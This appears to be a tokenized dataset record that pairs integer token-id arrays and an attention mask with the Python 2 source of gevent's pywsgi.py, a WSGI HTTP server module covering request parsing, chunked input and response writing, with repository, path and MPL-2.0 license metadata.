2874,
1584,
787,
5489,
199,
3,
19828,
570,
931,
9432,
340,
4346,
199,
692,
644,
8470,
63,
40,
20033,
6294,
2430,
63,
3022,
1137,
2125,
436,
644,
8470,
63,
40,
20033,
6294,
2430,
63,
3022,
1988,
17,
61,
508,
747,
14,
4127,
26,
9948,
198,
55,
8470,
63,
40,
20033,
6294,
2430,
63,
3022,
275,
644,
8470,
63,
40,
20033,
6294,
2430,
63,
3022,
4439,
17,
61,
199,
199,
55,
8470,
63,
27087,
3881,
260,
275,
942,
259,
327,
3820,
402,
3326,
3035,
2256,
641,
9512,
644,
8470,
28140,
199,
55,
8470,
63,
31874,
63,
2944,
3099,
755,
275,
756,
327,
18241,
370,
3372,
286,
8085,
316,
402,
4926,
609,
4364,
199,
55,
8470,
63,
12511,
1075,
4392,
755,
275,
1994,
897,
396,
15,
2520,
15,
87,
29997,
15,
1027,
513,
15,
29997,
697,
15,
1027,
6717,
13,
751,
13,
12671,
15,
1529,
87,
795,
15,
8624,
2501,
14,
2424,
7,
199,
692,
440,
747,
14,
515,
14,
2444,
8,
55,
8470,
63,
12511,
1075,
4392,
304,
644,
8470,
63,
12511,
1075,
4392,
275,
2125,
199,
199,
3,
21107,
1785,
18572,
370,
675,
1380,
7907,
367,
282,
11648,
13,
3316,
14305,
14,
199,
3,
715,
4910,
314,
2240,
1471,
2342,
282,
1686,
14305,
315,
1865,
367,
7912,
266,
370,
27159,
282,
14305,
14,
199,
3,
2832,
17196,
14305,
3974,
9304,
85,
1405,
754,
334,
1761,
283,
549,
7,
18572,
1471,
2342,
14305,
9,
199,
55,
8470,
63,
40,
20033,
6294,
2430,
63,
52,
3234,
5748,
257
] |
[
2647,
15,
1393,
15,
1548,
199,
199,
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
199,
624,
199,
198,
4326,
266,
8299,
198,
2502,
26,
16921,
86,
2564,
737,
29712,
8299,
198,
31661,
1334,
314,
1664,
1696,
1684,
844,
3394,
499,
334,
17732,
14629,
373,
18,
395,
221,
6722,
2808,
737,
26,
1455,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
15,
11692,
13,
18,
14,
16,
14,
2424,
8299,
198,
8,
35,
9,
7760,
18674,
86,
18880,
75,
1435,
421,
198,
777,
13,
421,
198,
11768,
26,
8299,
198,
4247,
1738,
1104,
1380,
446,
67,
8085,
379,
334,
4399,
3079,
9,
334,
9321,
1738,
367,
446,
1074,
17076,
199,
198,
2,
67,
8085,
379,
12469,
315,
769,
402,
10319,
1159,
8299,
198,
21012,
2011,
1414,
13,
604,
6258,
1561,
687,
373,
17,
8299,
198,
3917,
2243,
2575,
315,
8372,
818,
12,
1104,
367,
436,
12,
340,
3964,
12,
675,
4497,
335,
12974,
28550,
644,
5067,
507,
627,
603,
287,
296,
295,
28396,
5847,
14604,
83,
12184,
507,
627,
15902,
3595,
2582,
402,
900,
1415,
367,
644,
5067,
23326,
19943,
8419,
13278,
507,
627,
12968,
900,
3967,
2061,
9512,
7427,
507,
627,
3492,
2946,
474,
402,
11275,
15,
13143,
5805,
507,
627,
6162,
1233,
370,
1736,
543,
295,
28396,
413,
14,
20,
1689,
88,
2,
6513,
15,
6796,
9,
2742,
644,
6102,
26,
507,
627,
21255,
370,
16834,
15,
2759,
15,
6958,
198,
8,
4456,
12,
440,
12470,
9,
11083,
627,
3207,
370,
12296,
1454,
473,
7428,
14593,
334,
5589,
1553,
1199,
13,
908,
284,
3122,
12,
4737,
9,
21979,
446,
440,
9025,
641,
12731,
282,
5958,
8085,
13,
2753,
1159,
14,
686,
257,
446,
13870,
1255,
298,
5789,
293,
2724,
13,
2753,
1553,
1199,
13,
908,
284,
3122,
12,
4737,
401,
298,
1944,
3217,
2013,
2,
275,
5419,
686,
446,
3955,
10415,
3224,
641,
1568,
402,
6290,
1275,
12029,
507,
11083,
295,
28396,
26,
17957,
198,
603,
615,
649,
726,
21401,
6882,
1922,
1,
17957,
198,
446,
16401,
221,
1608,
998,
1380,
14043,
7558,
9,
21979,
446,
7523,
644,
5067,
790,
12454,
1172,
506,
17924,
14,
11083,
257,
446,
982,
949,
12454,
883,
506,
6326,
12,
3631,
23326,
6722,
21979,
446,
577,
4039,
23326,
12,
340,
949,
12454,
787,
6326,
4453,
1323,
9395,
12,
3631,
23326,
1253,
9101,
6722,
21979,
446,
799,
28396,
1159,
1072,
1380,
17329,
370,
20133,
26,
507,
258,
359,
1,
61,
14750,
26,
16277,
370,
20133,
543,
437,
33,
26,
5342,
26,
2571,
26,
5745,
26,
8699,
26,
1665,
334,
1608,
998,
26,
17281,
5638,
9,
21979,
446,
982,
3405,
370,
20133,
367,
671,
9395,
12,
3631,
23326,
334,
7191,
465,
949,
12454,
17076,
8299,
198,
45,
2830,
1649,
26,
17957,
627,
644,
8470,
446,
286,
8085,
334,
647,
11133,
15,
19969,
10853,
369,
9,
334,
1397,
7710,
11012,
9,
17957,
627,
1379,
315,
8923,
737,
14210,
31,
334,
2759,
80,
461,
4799,
1414,
13,
604,
6258,
9,
17957,
199,
624,
199,
199,
516,
8776,
199,
3,
25764,
50,
25244,
327,
199,
516,
8776,
199,
199,
646,
747,
258,
327,
3814,
10041,
199,
646,
900,
257,
327,
3194,
305,
4039,
23326,
15802,
199,
646,
2196,
327,
1464,
1958,
282,
2196,
13347,
2287,
14,
199,
646,
7554,
221,
327,
4520,
5579,
199,
199,
504,
984,
492,
9238,
3515,
327,
5817,
13,
604,
2368,
199,
504,
984,
492,
3839,
12,
9009,
327,
11040,
2084,
316,
199,
199,
504,
5145,
492,
1331,
327,
11247,
316,
1275,
2874,
1584,
199,
199,
3,
9434,
4655,
12,
13882,
1958,
543,
12,
1022,
12687,
10358,
199,
504,
3873,
492,
13995,
12,
1240,
12,
22773,
199,
504,
4673,
492,
15522,
2919,
12,
15522,
16718,
199,
199,
646,
295,
327,
5044,
920,
12,
23258,
428,
19514,
370,
1788,
199,
199,
646,
4011,
327,
2670,
367,
892,
5459,
687,
314,
3831,
421,
199,
1371,
199,
3,
598,
12667,
30098,
17041,
1621,
11727,
445,
1282,
51,
327,
199,
1371,
199,
199,
907,
18775,
275,
16412,
27,
421,
199,
3,
644,
8470,
2860,
199,
55,
8470,
63,
13052,
3515,
275,
756,
327,
18241,
370,
3372,
644,
8470,
14305,
12296,
199,
55,
8470,
63,
31296,
63,
40,
20033,
6294,
2430,
221,
275,
715,
221,
327,
3645,
1134,
11133,
503,
307,
609,
1096,
334,
692,
3964,
9,
370,
6202,
14305,
199,
55,
8470,
63,
1093,
5580,
63,
8899,
257,
275,
1616,
259,
327,
4703,
370,
3618,
3382,
477,
11725,
330,
300,
10329,
334,
262,
4696,
9,
199,
55,
8470,
63,
11712,
3099,
63,
8899,
257,
275,
6891,
257,
327,
19271,
900,
370,
2040,
367,
282,
14305,
23326,
334,
262,
4696,
9,
199,
55,
8470,
63,
40,
20033,
6294,
2430,
63,
3022,
259,
275,
283,
4213,
7,
221,
327,
15191,
315,
1314,
4926,
609,
4364,
1275,
2874,
1584,
787,
5489,
199,
3,
19828,
570,
931,
9432,
340,
4346,
199,
692,
644,
8470,
63,
40,
20033,
6294,
2430,
63,
3022,
1137,
2125,
436,
644,
8470,
63,
40,
20033,
6294,
2430,
63,
3022,
1988,
17,
61,
508,
747,
14,
4127,
26,
9948,
198,
55,
8470,
63,
40,
20033,
6294,
2430,
63,
3022,
275,
644,
8470,
63,
40,
20033,
6294,
2430,
63,
3022,
4439,
17,
61,
199,
199,
55,
8470,
63,
27087,
3881,
260,
275,
942,
259,
327,
3820,
402,
3326,
3035,
2256,
641,
9512,
644,
8470,
28140,
199,
55,
8470,
63,
31874,
63,
2944,
3099,
755,
275,
756,
327,
18241,
370,
3372,
286,
8085,
316,
402,
4926,
609,
4364,
199,
55,
8470,
63,
12511,
1075,
4392,
755,
275,
1994,
897,
396,
15,
2520,
15,
87,
29997,
15,
1027,
513,
15,
29997,
697,
15,
1027,
6717,
13,
751,
13,
12671,
15,
1529,
87,
795,
15,
8624,
2501,
14,
2424,
7,
199,
692,
440,
747,
14,
515,
14,
2444,
8,
55,
8470,
63,
12511,
1075,
4392,
304,
644,
8470,
63,
12511,
1075,
4392,
275,
2125,
199,
199,
3,
21107,
1785,
18572,
370,
675,
1380,
7907,
367,
282,
11648,
13,
3316,
14305,
14,
199,
3,
715,
4910,
314,
2240,
1471,
2342,
282,
1686,
14305,
315,
1865,
367,
7912,
266,
370,
27159,
282,
14305,
14,
199,
3,
2832,
17196,
14305,
3974,
9304,
85,
1405,
754,
334,
1761,
283,
549,
7,
18572,
1471,
2342,
14305,
9,
199,
55,
8470,
63,
40,
20033,
6294,
2430,
63,
52,
3234,
5748,
257,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
Alidron/demo-nao
|
alidron-env/lib/python2.7/site-packages/gevent/pywsgi.py
|
22
|
22855
|
# Copyright (c) 2005-2009, eventlet contributors
# Copyright (c) 2009-2011, gevent contributors
import errno
import sys
import time
import traceback
import mimetools
from datetime import datetime
from urllib import unquote
from gevent import socket
import gevent
from gevent.server import StreamServer
from gevent.hub import GreenletExit
__all__ = ['WSGIHandler', 'WSGIServer']
MAX_REQUEST_LINE = 8192
# Weekday and month names for HTTP date/time formatting; always English!
_WEEKDAYNAME = ["Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun"]
_MONTHNAME = [None, # Dummy so we can use 1-based month numbers
"Jan", "Feb", "Mar", "Apr", "May", "Jun",
"Jul", "Aug", "Sep", "Oct", "Nov", "Dec"]
_INTERNAL_ERROR_STATUS = '500 Internal Server Error'
_INTERNAL_ERROR_BODY = 'Internal Server Error'
_INTERNAL_ERROR_HEADERS = [('Content-Type', 'text/plain'),
('Connection', 'close'),
('Content-Length', str(len(_INTERNAL_ERROR_BODY)))]
_REQUEST_TOO_LONG_RESPONSE = "HTTP/1.1 414 Request URI Too Long\r\nConnection: close\r\nContent-length: 0\r\n\r\n"
_BAD_REQUEST_RESPONSE = "HTTP/1.1 400 Bad Request\r\nConnection: close\r\nContent-length: 0\r\n\r\n"
_CONTINUE_RESPONSE = "HTTP/1.1 100 Continue\r\n\r\n"
def format_date_time(timestamp):
year, month, day, hh, mm, ss, wd, _y, _z = time.gmtime(timestamp)
return "%s, %02d %3s %4d %02d:%02d:%02d GMT" % (_WEEKDAYNAME[wd], day, _MONTHNAME[month], year, hh, mm, ss)
class Input(object):
def __init__(self, rfile, content_length, socket=None, chunked_input=False):
self.rfile = rfile
self.content_length = content_length
self.socket = socket
self.position = 0
self.chunked_input = chunked_input
self.chunk_length = -1
def _discard(self):
if self.socket is None and (self.position < (self.content_length or 0) or self.chunked_input):
# ## Read and discard body
while 1:
d = self.read(16384)
if not d:
break
def _send_100_continue(self):
if self.socket is not None:
self.socket.sendall(_CONTINUE_RESPONSE)
self.socket = None
def _do_read(self, length=None, use_readline=False):
if use_readline:
reader = self.rfile.readline
else:
reader = self.rfile.read
content_length = self.content_length
if content_length is None:
# Either Content-Length or "Transfer-Encoding: chunked" must be present in a request with a body
# if it was chunked, then this function would have not been called
return ''
self._send_100_continue()
left = content_length - self.position
if length is None:
length = left
elif length > left:
length = left
if not length:
return ''
read = reader(length)
self.position += len(read)
if len(read) < length:
if (use_readline and not read.endswith("\n")) or not use_readline:
raise IOError("unexpected end of file while reading request at position %s" % (self.position,))
return read
def _chunked_read(self, length=None, use_readline=False):
rfile = self.rfile
self._send_100_continue()
if length == 0:
return ""
if length < 0:
length = None
if use_readline:
reader = self.rfile.readline
else:
reader = self.rfile.read
response = []
while self.chunk_length != 0:
maxreadlen = self.chunk_length - self.position
if length is not None and length < maxreadlen:
maxreadlen = length
if maxreadlen > 0:
data = reader(maxreadlen)
if not data:
self.chunk_length = 0
raise IOError("unexpected end of file while parsing chunked data")
datalen = len(data)
response.append(data)
self.position += datalen
if self.chunk_length == self.position:
rfile.readline()
if length is not None:
length -= datalen
if length == 0:
break
if use_readline and data[-1] == "\n":
break
else:
line = rfile.readline()
if not line.endswith("\n"):
self.chunk_length = 0
raise IOError("unexpected end of file while reading chunked data header")
self.chunk_length = int(line.split(";", 1)[0], 16)
self.position = 0
if self.chunk_length == 0:
rfile.readline()
return ''.join(response)
def read(self, length=None):
if self.chunked_input:
return self._chunked_read(length)
return self._do_read(length)
def readline(self, size=None):
if self.chunked_input:
return self._chunked_read(size, True)
else:
return self._do_read(size, use_readline=True)
def readlines(self, hint=None):
return list(self)
def __iter__(self):
return self
def next(self):
line = self.readline()
if not line:
raise StopIteration
return line
class WSGIHandler(object):
protocol_version = 'HTTP/1.1'
MessageClass = mimetools.Message
def __init__(self, socket, address, server, rfile=None):
self.socket = socket
self.client_address = address
self.server = server
if rfile is None:
self.rfile = socket.makefile('rb', -1)
else:
self.rfile = rfile
def handle(self):
try:
while self.socket is not None:
self.time_start = time.time()
self.time_finish = 0
result = self.handle_one_request()
if result is None:
break
if result is True:
continue
self.status, response_body = result
self.socket.sendall(response_body)
if self.time_finish == 0:
self.time_finish = time.time()
self.log_request()
break
finally:
if self.socket is not None:
try:
# read out request data to prevent error: [Errno 104] Connection reset by peer
try:
self.socket._sock.recv(16384)
finally:
self.socket._sock.close() # do not rely on garbage collection
self.socket.close()
except socket.error:
pass
self.__dict__.pop('socket', None)
self.__dict__.pop('rfile', None)
def _check_http_version(self):
version = self.request_version
if not version.startswith("HTTP/"):
return False
version = tuple(int(x) for x in version[5:].split(".")) # "HTTP/"
if version[1] < 0 or version < (0, 9) or version >= (2, 0):
return False
return True
def read_request(self, raw_requestline):
self.requestline = raw_requestline.rstrip()
words = self.requestline.split()
if len(words) == 3:
self.command, self.path, self.request_version = words
if not self._check_http_version():
self.log_error('Invalid http version: %r', raw_requestline)
return
elif len(words) == 2:
self.command, self.path = words
if self.command != "GET":
self.log_error('Expected GET method: %r', raw_requestline)
return
self.request_version = "HTTP/0.9"
# QQQ I'm pretty sure we can drop support for HTTP/0.9
else:
self.log_error('Invalid HTTP method: %r', raw_requestline)
return
self.headers = self.MessageClass(self.rfile, 0)
if self.headers.status:
self.log_error('Invalid headers status: %r', self.headers.status)
return
if self.headers.get("transfer-encoding", "").lower() == "chunked":
try:
del self.headers["content-length"]
except KeyError:
pass
content_length = self.headers.get("content-length")
if content_length is not None:
content_length = int(content_length)
if content_length < 0:
self.log_error('Invalid Content-Length: %r', content_length)
return
if content_length and self.command in ('HEAD', ):
self.log_error('Unexpected Content-Length')
return
self.content_length = content_length
if self.request_version == "HTTP/1.1":
conntype = self.headers.get("Connection", "").lower()
if conntype == "close":
self.close_connection = True
else:
self.close_connection = False
else:
self.close_connection = True
return True
def log_error(self, msg, *args):
try:
message = msg % args
except Exception:
traceback.print_exc()
message = '%r %r' % (msg, args)
try:
message = '%s: %s' % (self.socket, message)
except Exception:
pass
try:
sys.stderr.write(message + '\n')
except Exception:
traceback.print_exc()
def read_requestline(self):
return self.rfile.readline(MAX_REQUEST_LINE)
def handle_one_request(self):
if self.rfile.closed:
return
try:
self.requestline = self.read_requestline()
except socket.error:
# "Connection reset by peer" or other socket errors aren't interesting here
return
if not self.requestline:
return
self.response_length = 0
if len(self.requestline) >= MAX_REQUEST_LINE:
return ('414', _REQUEST_TOO_LONG_RESPONSE)
try:
# for compatibility with older versions of pywsgi, we pass self.requestline as an argument there
if not self.read_request(self.requestline):
return ('400', _BAD_REQUEST_RESPONSE)
except Exception:
ex = sys.exc_info()[1]
if not isinstance(ex, ValueError):
traceback.print_exc()
self.log_error('Invalid request: %s', str(ex) or ex.__class__.__name__)
return ('400', _BAD_REQUEST_RESPONSE)
self.environ = self.get_environ()
self.application = self.server.application
try:
self.handle_one_response()
except socket.error:
ex = sys.exc_info()[1]
# Broken pipe, connection reset by peer
if ex.args[0] in (errno.EPIPE, errno.ECONNRESET):
sys.exc_clear()
return
else:
raise
if self.close_connection:
return
if self.rfile.closed:
return
return True # read more requests
def finalize_headers(self):
if self.provided_date is None:
self.response_headers.append(('Date', format_date_time(time.time())))
if self.code not in (304, 204):
# the reply will include message-body; make sure we have either Content-Length or chunked
if self.provided_content_length is None:
if hasattr(self.result, '__len__'):
self.response_headers.append(('Content-Length', str(sum(len(chunk) for chunk in self.result))))
else:
if self.request_version != 'HTTP/1.0':
self.response_use_chunked = True
self.response_headers.append(('Transfer-Encoding', 'chunked'))
def _sendall(self, data):
try:
self.socket.sendall(data)
except socket.error, ex:
self.status = 'socket error: %s' % ex
if self.code > 0:
self.code = -self.code
raise
self.response_length += len(data)
def _write(self, data):
if not data:
return
if self.response_use_chunked:
## Write the chunked encoding
data = "%x\r\n%s\r\n" % (len(data), data)
self._sendall(data)
def write(self, data):
if self.code in (304, 204) and data:
raise AssertionError('The %s response must have no body' % self.code)
if self.headers_sent:
self._write(data)
else:
if not self.status:
raise AssertionError("The application did not call start_response()")
self._write_with_headers(data)
if sys.version_info[:2] >= (2, 6):
def _write_with_headers(self, data):
towrite = bytearray()
self.headers_sent = True
self.finalize_headers()
towrite.extend('HTTP/1.1 %s\r\n' % self.status)
for header in self.response_headers:
towrite.extend('%s: %s\r\n' % header)
towrite.extend('\r\n')
if data:
if self.response_use_chunked:
## Write the chunked encoding
towrite.extend("%x\r\n%s\r\n" % (len(data), data))
else:
towrite.extend(data)
self._sendall(towrite)
else:
# Python 2.5 does not have bytearray
def _write_with_headers(self, data):
towrite = []
self.headers_sent = True
self.finalize_headers()
towrite.append('HTTP/1.1 %s\r\n' % self.status)
for header in self.response_headers:
towrite.append('%s: %s\r\n' % header)
towrite.append('\r\n')
if data:
if self.response_use_chunked:
## Write the chunked encoding
towrite.append("%x\r\n%s\r\n" % (len(data), data))
else:
towrite.append(data)
self._sendall(''.join(towrite))
def start_response(self, status, headers, exc_info=None):
if exc_info:
try:
if self.headers_sent:
# Re-raise original exception if headers sent
raise exc_info[0], exc_info[1], exc_info[2]
finally:
# Avoid dangling circular ref
exc_info = None
self.code = int(status.split(' ', 1)[0])
self.status = status
self.response_headers = headers
provided_connection = None
self.provided_date = None
self.provided_content_length = None
for header, value in headers:
header = header.lower()
if header == 'connection':
provided_connection = value
elif header == 'date':
self.provided_date = value
elif header == 'content-length':
self.provided_content_length = value
if self.request_version == 'HTTP/1.0' and provided_connection is None:
headers.append(('Connection', 'close'))
self.close_connection = True
elif provided_connection == 'close':
self.close_connection = True
if self.code in (304, 204):
if self.provided_content_length is not None and self.provided_content_length != '0':
msg = 'Invalid Content-Length for %s response: %r (must be absent or zero)' % (self.code, self.provided_content_length)
raise AssertionError(msg)
return self.write
def log_request(self):
log = self.server.log
if log:
log.write(self.format_request() + '\n')
def format_request(self):
now = datetime.now().replace(microsecond=0)
length = self.response_length or '-'
if self.time_finish:
delta = '%.6f' % (self.time_finish - self.time_start)
else:
delta = '-'
client_address = self.client_address[0] if isinstance(self.client_address, tuple) else self.client_address
return '%s - - [%s] "%s" %s %s %s' % (
client_address or '-',
now,
getattr(self, 'requestline', ''),
(getattr(self, 'status', None) or '000').split()[0],
length,
delta)
def process_result(self):
for data in self.result:
if data:
self.write(data)
if self.status and not self.headers_sent:
self.write('')
if self.response_use_chunked:
self.socket.sendall('0\r\n\r\n')
self.response_length += 5
def run_application(self):
self.result = self.application(self.environ, self.start_response)
self.process_result()
def handle_one_response(self):
self.time_start = time.time()
self.status = None
self.headers_sent = False
self.result = None
self.response_use_chunked = False
self.response_length = 0
try:
try:
self.run_application()
finally:
close = getattr(self.result, 'close', None)
if close is not None:
close()
self.wsgi_input._discard()
except:
self.handle_error(*sys.exc_info())
finally:
self.time_finish = time.time()
self.log_request()
def handle_error(self, type, value, tb):
if not issubclass(type, GreenletExit):
self.server.loop.handle_error(self.environ, type, value, tb)
del tb
if self.response_length:
self.close_connection = True
else:
self.start_response(_INTERNAL_ERROR_STATUS, _INTERNAL_ERROR_HEADERS[:])
self.write(_INTERNAL_ERROR_BODY)
def _headers(self):
key = None
value = None
for header in self.headers.headers:
if key is not None and header[:1] in " \t":
value += header
continue
if key not in (None, 'CONTENT_TYPE', 'CONTENT_LENGTH'):
yield 'HTTP_' + key, value.strip()
key, value = header.split(':', 1)
key = key.replace('-', '_').upper()
if key not in (None, 'CONTENT_TYPE', 'CONTENT_LENGTH'):
yield 'HTTP_' + key, value.strip()
def get_environ(self):
env = self.server.get_environ()
env['REQUEST_METHOD'] = self.command
env['SCRIPT_NAME'] = ''
if '?' in self.path:
path, query = self.path.split('?', 1)
else:
path, query = self.path, ''
env['PATH_INFO'] = unquote(path)
env['QUERY_STRING'] = query
if self.headers.typeheader is not None:
env['CONTENT_TYPE'] = self.headers.typeheader
length = self.headers.getheader('content-length')
if length:
env['CONTENT_LENGTH'] = length
env['SERVER_PROTOCOL'] = self.request_version
client_address = self.client_address
if isinstance(client_address, tuple):
env['REMOTE_ADDR'] = str(client_address[0])
env['REMOTE_PORT'] = str(client_address[1])
for key, value in self._headers():
if key in env:
if 'COOKIE' in key:
env[key] += '; ' + value
else:
env[key] += ',' + value
else:
env[key] = value
if env.get('HTTP_EXPECT') == '100-continue':
socket = self.socket
else:
socket = None
chunked = env.get('HTTP_TRANSFER_ENCODING', '').lower() == 'chunked'
self.wsgi_input = Input(self.rfile, self.content_length, socket=socket, chunked_input=chunked)
env['wsgi.input'] = self.wsgi_input
return env
class WSGIServer(StreamServer):
"""A WSGI server based on :class:`StreamServer` that supports HTTPS."""
handler_class = WSGIHandler
base_env = {'GATEWAY_INTERFACE': 'CGI/1.1',
'SERVER_SOFTWARE': 'gevent/%d.%d Python/%d.%d' % (gevent.version_info[:2] + sys.version_info[:2]),
'SCRIPT_NAME': '',
'wsgi.version': (1, 0),
'wsgi.multithread': False,
'wsgi.multiprocess': False,
'wsgi.run_once': False}
def __init__(self, listener, application=None, backlog=None, spawn='default', log='default', handler_class=None,
environ=None, **ssl_args):
StreamServer.__init__(self, listener, backlog=backlog, spawn=spawn, **ssl_args)
if application is not None:
self.application = application
if handler_class is not None:
self.handler_class = handler_class
if log == 'default':
self.log = sys.stderr
else:
self.log = log
self.set_environ(environ)
self.set_max_accept()
def set_environ(self, environ=None):
if environ is not None:
self.environ = environ
environ_update = getattr(self, 'environ', None)
self.environ = self.base_env.copy()
if self.ssl_enabled:
self.environ['wsgi.url_scheme'] = 'https'
else:
self.environ['wsgi.url_scheme'] = 'http'
if environ_update is not None:
self.environ.update(environ_update)
if self.environ.get('wsgi.errors') is None:
self.environ['wsgi.errors'] = sys.stderr
def set_max_accept(self):
if self.environ.get('wsgi.multiprocess'):
self.max_accept = 1
def get_environ(self):
return self.environ.copy()
def init_socket(self):
StreamServer.init_socket(self)
self.update_environ()
def update_environ(self):
address = self.address
if isinstance(address, tuple):
if 'SERVER_NAME' not in self.environ:
try:
name = socket.getfqdn(address[0])
except socket.error:
name = str(address[0])
self.environ['SERVER_NAME'] = name
self.environ.setdefault('SERVER_PORT', str(address[1]))
else:
self.environ.setdefault('SERVER_NAME', '')
self.environ.setdefault('SERVER_PORT', '')
def handle(self, socket, address):
handler = self.handler_class(socket, address, self)
handler.handle()
|
mpl-2.0
|
[
3,
1898,
334,
67,
9,
11811,
13,
8664,
12,
21819,
8417,
199,
3,
1898,
334,
67,
9,
8937,
13,
8128,
12,
23386,
8417,
199,
199,
646,
7554,
199,
646,
984,
199,
646,
900,
199,
646,
5190,
199,
646,
6660,
2537,
199,
504,
2197,
492,
2197,
199,
504,
4011,
492,
14342,
199,
199,
504,
23386,
492,
2838,
199,
646,
23386,
199,
504,
23386,
14,
1000,
492,
8271,
3120,
199,
504,
23386,
14,
16560,
492,
32585,
2723,
6699,
421,
199,
363,
452,
363,
275,
788,
16828,
2461,
297,
283,
55,
28732,
418,
421,
199,
4283,
63,
6780,
63,
6174,
275,
28828,
199,
3,
31072,
2977,
436,
5794,
1561,
367,
3101,
1434,
15,
521,
10803,
27,
3544,
20144,
1,
199,
63,
24929,
11655,
2339,
275,
2097,
6671,
401,
298,
52,
310,
401,
298,
55,
379,
401,
298,
2719,
85,
401,
298,
22533,
401,
298,
22332,
401,
298,
22546,
937,
199,
63,
16413,
2339,
275,
359,
403,
12,
221,
327,
9762,
880,
781,
883,
675,
413,
13,
6788,
5794,
5579,
1598,
298,
19825,
401,
298,
27717,
401,
298,
10570,
401,
298,
33,
2700,
401,
298,
15586,
401,
298,
42,
324,
401,
1598,
298,
42,
348,
401,
298,
21640,
401,
298,
23337,
401,
298,
17584,
401,
298,
1944,
86,
401,
298,
8584,
937,
199,
63,
17681,
63,
3170,
63,
6305,
275,
283,
5783,
12624,
7146,
4520,
7,
199,
63,
17681,
63,
3170,
63,
23708,
275,
283,
8405,
7146,
4520,
7,
199,
63,
17681,
63,
3170,
63,
21178,
275,
4274,
2714,
13,
804,
297,
283,
505,
15,
6104,
659,
2574,
661,
3225,
297,
283,
1600,
659,
2574,
661,
2714,
13,
4625,
297,
620,
8,
552,
1547,
17681,
63,
3170,
63,
23708,
1724,
61,
199,
63,
6780,
63,
30947,
63,
12375,
63,
12801,
275,
298,
2856,
15,
17,
14,
17,
841,
1079,
4784,
9022,
22893,
19944,
60,
82,
60,
78,
3225,
26,
4002,
60,
82,
60,
78,
2714,
13,
1267,
26,
378,
60,
82,
60,
78,
60,
82,
60,
78,
2,
199,
63,
9439,
63,
6780,
63,
12801,
275,
298,
2856,
15,
17,
14,
17,
8290,
8857,
4784,
60,
82,
60,
78,
3225,
26,
4002,
60,
82,
60,
78,
2714,
13,
1267,
26,
378,
60,
82,
60,
78,
60,
82,
60,
78,
2,
199,
63,
26663,
4187,
63,
12801,
275,
298,
2856,
15,
17,
14,
17,
2948,
1448,
1781,
60,
82,
60,
78,
60,
82,
60,
78,
2,
421,
199,
318,
1475,
63,
602,
63,
521,
8,
3954,
304,
272,
5361,
12,
5794,
12,
5382,
12,
25783,
12,
8562,
12,
10110,
12,
20792,
12,
485,
89,
12,
485,
90,
275,
900,
14,
22227,
8,
3954,
9,
272,
372,
2071,
83,
12,
450,
996,
68,
450,
19,
83,
450,
20,
68,
450,
996,
68,
2689,
996,
68,
2689,
996,
68,
19152,
2,
450,
6110,
24929,
11655,
2339,
59,
2989,
467,
5382,
12,
485,
16413,
2339,
59,
4482,
467,
5361,
12,
25783,
12,
8562,
12,
10110,
9,
421,
199,
533,
6924,
8,
785,
304,
339,
347,
636,
826,
721,
277,
12,
519,
493,
12,
1564,
63,
1267,
12,
2838,
29,
403,
12,
22180,
63,
1210,
29,
797,
304,
267,
291,
14,
23830,
275,
519,
493,
267,
291,
14,
1317,
63,
1267,
275,
1564,
63,
1267,
267,
291,
14,
3450,
275,
2838,
267,
291,
14,
3124,
275,
378,
267,
291,
14,
19955,
63,
1210,
275,
22180,
63,
1210,
267,
291,
14,
4604,
63,
1267,
275,
446,
17,
339,
347,
485,
14394,
8,
277,
304,
267,
340,
291,
14,
3450,
365,
488,
436,
334,
277,
14,
3124,
665,
334,
277,
14,
1317,
63,
1267,
503,
378,
9,
503,
291,
14,
19955,
63,
1210,
304,
288,
327,
925,
5574,
436,
16895,
2396,
288,
1830,
413,
26,
355,
366,
275,
291,
14,
739,
8,
975,
8188,
9,
355,
340,
440,
366,
26,
490,
2059,
339,
347,
485,
2254,
63,
1960,
63,
6958,
8,
277,
304,
267,
340,
291,
14,
3450,
365,
440,
488,
26,
288,
291,
14,
3450,
14,
22695,
1547,
26663,
4187,
63,
12801,
9,
288,
291,
14,
3450,
275,
488,
339,
347,
485,
1117,
63,
739,
8,
277,
12,
2582,
29,
403,
12,
675,
63,
6407,
29,
797,
304,
267,
340,
675,
63,
6407,
26,
288,
7002,
275,
291,
14,
23830,
14,
6407,
267,
587,
26,
288,
7002,
275,
291,
14,
23830,
14,
739,
267,
1564,
63,
1267,
275,
291,
14,
1317,
63,
1267,
267,
340,
1564,
63,
1267,
